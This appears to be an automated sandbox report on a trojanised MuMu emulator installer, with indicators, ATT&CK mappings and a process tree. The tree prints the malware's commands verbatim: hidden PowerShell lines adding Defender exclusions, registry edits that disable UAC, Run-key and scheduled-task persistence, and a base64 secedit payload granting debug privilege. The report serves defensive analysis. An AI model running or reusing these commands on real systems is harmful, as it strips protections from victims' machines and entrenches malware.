959001875232215e49463f8528c5786a741fda70e8b0fd95159ebdb0b41e140a

Analysis

user interaction
yes
max time kernel
101s
max time network
96s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/07/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mumumnq2.4.exe
Size 11.2MB
Sample260720-plvspact7x
SHA256 959001875232215e49463f8528c5786a741fda70e8b0fd95159ebdb0b41e140a
MD5 2a3c992c2c3458c5da1006d1dccfe3c8
SHA1 d9626c6d05c2083231e257ad505afc9e41b847a7
SHA512 7430d837609fe7b102dca02117799e2248ae8259330a5209afff88f24662c3dd69d154f463ba73c7d407e6fd0d170a409c7daac5ba923534ea1cfb64f4926193
SSDEEP 196608:FQXqhoqk30RlSxZZM1MeJ76uFFkOuPlB+xGo3u0VWjcc02vVZoL:6XqHI0+HXMeS3FMvVZQ
TLSH
T184C61286A2AC50F8D157C17CC8168A4BEBF2F8910B31C7DF01A9966F6F772A10D29357
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3000	powershell.exe
380	powershell.exe
1312	powershell.exe
2312	powershell.exe
820	powershell.exe
3000	powershell.exe
380	powershell.exe
1312	powershell.exe
2312	powershell.exe
820	powershell.exe
3144	powershell.exe

Executes dropped EXE 11 IoCs

pid	Process
668	irsetup.exe
2024	iusb3mon.exe
2568	MuMu_Ä£ÄâÆ÷.exe
2600	nemu-downloader.exe
716	crashpad_handler.exe
996	ColaBoxChecker.exe
4524	HyperVChecker.exe
1732	iusb3mon.exe
2124	HyperVChecker.exe
4364	HyperVChecker.exe
4828	7z.exe

Loads dropped DLL 7 IoCs

pid	Process
668	irsetup.exe
2600	nemu-downloader.exe
2600	nemu-downloader.exe
2600	nemu-downloader.exe
716	crashpad_handler.exe
716	crashpad_handler.exe
4828	7z.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUSBMonitor = "C:\\Users\\Admin\\AppData\\Local\\iusb3mon.exe"	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MicrosoftUSBMonitor = "C:\\Users\\Admin\\AppData\\Local\\iusb3mon.exe"	dllhost.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	nemu-downloader.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2024 set thread context of 624	2024	iusb3mon.exe	92
PID 624 set thread context of 1368	624	dllhost.exe	102
PID 1732 set thread context of 884	1732	iusb3mon.exe	113

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x002200000002b1f3-5.dat	upx
behavioral1/memory/668-13-0x00007FF72ED60000-0x00007FF72F543000-memory.dmp	upx
behavioral1/memory/668-87-0x00007FF72ED60000-0x00007FF72F543000-memory.dmp	upx
behavioral1/memory/624-106-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-105-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-104-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-103-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-102-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-101-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-100-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-99-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-98-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-97-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-96-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-95-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-94-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-93-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-235-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-242-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-241-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-244-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-245-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-237-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-238-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-234-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-279-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-293-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-294-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-297-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-296-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-302-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-303-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/884-320-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-319-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-317-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-316-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-315-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-314-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-312-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-311-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-310-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-309-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-308-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-307-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-318-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/884-313-0x0000000000B80000-0x0000000000C69000-memory.dmp	upx
behavioral1/memory/624-406-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx
behavioral1/memory/624-407-0x00000000009D0000-0x0000000000AB9000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe	irsetup.exe
File created	C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe	irsetup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3712	cmd.exe
2868	cmd.exe
4016	cmd.exe
2460	cmd.exe
3120	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ColaBoxChecker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nemu-downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crashpad_handler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MuMu_Ä£ÄâÆ÷.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Set key security	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3700	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3764	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3000	powershell.exe
3000	powershell.exe
380	powershell.exe
380	powershell.exe
2600	nemu-downloader.exe
2600	nemu-downloader.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
3144	powershell.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
1312	powershell.exe
3144	powershell.exe
1312	powershell.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe
624	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
624	dllhost.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeRestorePrivilege	4828	7z.exe
Token: 35	4828	7z.exe
Token: SeSecurityPrivilege	4828	7z.exe
Token: SeSecurityPrivilege	4828	7z.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
668	irsetup.exe
668	irsetup.exe
668	irsetup.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 668	3268	mumumnq2.4.exe	80
PID 668 wrote to memory of 3712	668	irsetup.exe	81
PID 3712 wrote to memory of 3000	3712	cmd.exe	83
PID 668 wrote to memory of 2868	668	irsetup.exe	84
PID 2868 wrote to memory of 380	2868	cmd.exe	86
PID 668 wrote to memory of 4016	668	irsetup.exe	87
PID 4016 wrote to memory of 3700	4016	cmd.exe	89
PID 668 wrote to memory of 2024	668	irsetup.exe	90
PID 668 wrote to memory of 2568	668	irsetup.exe	91
PID 2024 wrote to memory of 624	2024	iusb3mon.exe	92
PID 2024 wrote to memory of 624	2024	iusb3mon.exe	92
PID 2568 wrote to memory of 2600	2568	MuMu_Ä£ÄâÆ÷.exe	93
PID 2600 wrote to memory of 716	2600	nemu-downloader.exe	94
PID 624 wrote to memory of 3144	624	dllhost.exe	95
PID 624 wrote to memory of 1312	624	dllhost.exe	97
PID 2600 wrote to memory of 996	2600	nemu-downloader.exe	99
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 1368	624	dllhost.exe	102
PID 624 wrote to memory of 2460	624	dllhost.exe	103
PID 2460 wrote to memory of 4092	2460	cmd.exe	105
PID 624 wrote to memory of 3120	624	dllhost.exe	106
PID 3120 wrote to memory of 3764	3120	cmd.exe	108
PID 2600 wrote to memory of 4524	2600	nemu-downloader.exe	109
PID 1732 wrote to memory of 884	1732	iusb3mon.exe	113
PID 1732 wrote to memory of 884	1732	iusb3mon.exe	113
PID 3144 wrote to memory of 4824	3144	powershell.exe	114
PID 2600 wrote to memory of 2124	2600	nemu-downloader.exe	115
PID 624 wrote to memory of 2312	624	dllhost.exe	117
PID 2600 wrote to memory of 4364	2600	nemu-downloader.exe	119
PID 624 wrote to memory of 820	624	dllhost.exe	123
PID 2600 wrote to memory of 4828	2600	nemu-downloader.exe	125

C:\Users\Admin\AppData\Local\Temp\mumumnq2.4.exe
"C:\Users\Admin\AppData\Local\Temp\mumumnq2.4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\mumumnq2.4.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-125073035-2952146151-721812867-1000"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3000
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'mumumnq2.4.exe' -Force" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'mumumnq2.4.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:380
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3700
- - C:\Users\Admin\AppData\Local\iusb3mon.exe
    "C:\Users\Admin\AppData\Local\iusb3mon.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\SysWOW64\dllhost.exe
      "C:\Windows\SysWOW64\dllhost.exe"
      4⤵
      UAC bypass
      Adds Run key to start application
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of WriteProcessMemory
      PID:624
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4824
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1312
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:1368
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /query /tn "WinSvcMon_3C6F10A0" >nul 2>&1
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2460
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /query /tn "WinSvcMon_3C6F10A0"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4092
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240658218_wd.xml" /f >nul 2>&1
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3120
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240658218_wd.xml" /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3764
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2312
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:820
- - C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe
    "C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2568
  - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\nemu-downloader.exe
      C:\Users\Admin\AppData\Local\Temp\7z82707A08\nemu-downloader.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2600
    - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\crashpad_handler.exe
        
        C:\Users\Admin\AppData\Local\Temp\7z82707A08\crashpad_handler.exe --no-rate-limit --database=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --metrics-dir=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --url=https://sentry.netease.com:443/api/324/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=02fc884050864ef68fb1d7655e21d3a1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\10a260dc-cfe6-4897-6752-bc9b6488acb0.run\__sentry-event --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\10a260dc-cfe6-4897-6752-bc9b6488acb0.run\__sentry-breadcrumb1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\10a260dc-cfe6-4897-6752-bc9b6488acb0.run\__sentry-breadcrumb2 --initial-client-data=0x374,0x378,0x37c,0x350,0x380,0x74f24800,0x74f24818,0x74f24828
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:716
    - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\ColaBoxChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z82707A08\ColaBoxChecker.exe" checker /baseboard
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:996
    - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z82707A08\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:4524
    - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z82707A08\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:2124
    - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z82707A08\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:4364
    - - C:\Users\Admin\AppData\Local\Temp\7z82707A08\7z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z82707A08\7z.exe" a -tzip "C:\Users\Admin\AppData\Local\Temp\nemux.zip" "C:\Users\Admin\AppData\Local\Temp\nemux"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4828

C:\Users\Admin\AppData\Local\iusb3mon.exe
C:\Users\Admin\AppData\Local\iusb3mon.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\SysWOW64\dllhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MuMu_Ä£ÄâÆ÷.exe

Path C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe
Size 5.8MB
SHA256 8dfe6f7a489e96e3280ae168a8b1b09e4926b07a67979774fa305d546d564ad8
MD5 d9153e6189842c8c93e356faa89428bf
SHA1 89880243783e15b209a56d99f82418bb7ef52795
SHA512 98a2b0b1268a80e9c767dd1578bc4a4b7d1c7da2234f2ad6af2d7f616e8937f3cccccde1fb436580b809e00470dc8d1c837aa969e920539b3a3c32563be91cda
SSDEEP 98304:ve76uFFkOuPTRc+f+E2Bk3PndGaX6tJJQv2FKA75ObVc99VCOxecc02vDRZTEL:276uFFkOuPlB+xGo3u0VWjcc02vVZoL
TLSH
T1EF56239296017376D40E5DFC556D87BAFE637CEEA948284211CEF1ABB0E81201F94DCB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ziliao.jpg

Path C:\Users\Admin\AppData\Local\Local\ziliao.jpg
Size 305KB
SHA256 5f7f150dde9d6cf9d21c7926d4e5c670ad1d7f5002020629e2aa11c0e4fbbd87
MD5 0751be4cd300312397e85026d1c722d5
SHA1 c8f368b788081f50d0d1b4e2c15c0ab22d5223e0
SHA512 76aae83c7a0f342f21248eca56c81c90c5455d68507fa1cb768856e2702192996c20a32e5693585e516f2d1b354b6f374646ee3247688ceab5ec3b6e31e6060e
SSDEEP 6144:tpkpaHcQNWzB9T3Cvty617n7l3OMuN6qPS6dCQXOb8+3UuAc2WFCp57:tcRDTSl9xMdNZdYUrcjCpJ
TLSH
T1C3642236ACB7E782B68907778476D19A0CEF01360D69F810BC57EDCC7D8875A4AA0367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
